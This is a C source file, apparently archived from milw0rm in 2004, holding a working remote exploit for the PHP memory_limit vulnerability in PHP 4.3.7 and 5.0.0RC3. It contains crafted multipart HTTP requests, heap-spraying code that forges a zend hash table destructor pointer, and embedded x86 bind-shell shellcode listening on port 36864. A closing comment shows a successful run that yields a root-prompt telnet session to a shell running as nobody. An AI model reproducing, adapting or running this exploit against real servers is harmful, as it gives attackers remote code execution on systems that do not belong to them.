PHP <= 4.3.7/ 5.0.0RC3 memory_limit Remote Exploit

                                                /* Remote exploit for the php memory_limit vulnerability found by Stefan 
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 * 
 * by Gyan Chawdhary ([email protected])
 * (felinemenace.org/~gyan)
 * 
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ... 
 *
 * Vulnerability:
 * The issue is well documented in the advisory. 
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table 
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the 
 * zend_hash_destory function. 
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick 
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On 
 *
 * Gyan
 *
 * 
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket\n");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect()\n");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed\n");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
 	if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed\n");
               exit(-1);
        }
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy. 
 * We set 
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION 
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>:     sub    $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>:     pushl  0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>:     call   *%eax
 * 0x402c22c4 <zend_hash_destroy+192>:     add    $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
	        char *p1, *p2;
	        char *b1, *b2;
	        int i;
		int pot = 0xffffffff;
		int got = 0x41414141;
		int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
		int sot = 0x02020202;
		int ret = 0x081887a8;

		b1 = (char *)malloc(size-8);
                p1 = b1;

		for (i=0; i<size-8; i+=36) 
		{
		*( (int **)p1 ) = (int *)( pot );
		p1+=4;
		*( (int **)p1 ) = (int *)( got );
		p1+=4;
		*( (int **)p1 ) = (int *)( bot );
		p1+=4;
		*( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
		*( (int **)p1 ) = (int *)( got );
	        p1+=4;
	        *( (int **)p1 ) = (int *)( bot );
	        p1+=4;
		*( (int **)p1 ) = (int *)( sot );
		p1+=4;
		}

	        b2 = (char *)malloc(size+1);
	        p2 = b2;

		sprintf(p2, fill, b1);

	        for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with 
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, '\x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
	return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

	       b1 = (char *)malloc(size-8);
               p1 = b1;
  
  	       for (i=0; i<size-8-strlen(shell); i+=4) {
		       *( (int **)p1 ) = (int *)( pot );
	                p1+=4;
                }
 		p1 = b1;

		p1+= size - 8 - strlen(shell);
		strncpy(p1, shell, strlen(shell));
      	       
       	       b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
	                xp_write(b2);
	      }
	       


void exploit()
{

	int i; 
	
	printf("Stage 1: Filling mem with bad pdestructor ... ");
	for (i=0; i< 5; i++)
	{	
  	     xp_connect(IP);
      	     xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
	     close(sock);
	}
	printf("DONE\r\n");
	printf("Stage 2: Triggering memory_limit now ... ");
		
	xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
	printf("DONE\r\n");
	printf("Shell on port 36864\r\n");
	
}

main()
{
	/*No args, no vectors*/
	exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and 
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 * 
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/



// milw0rm.com [2004-11-27]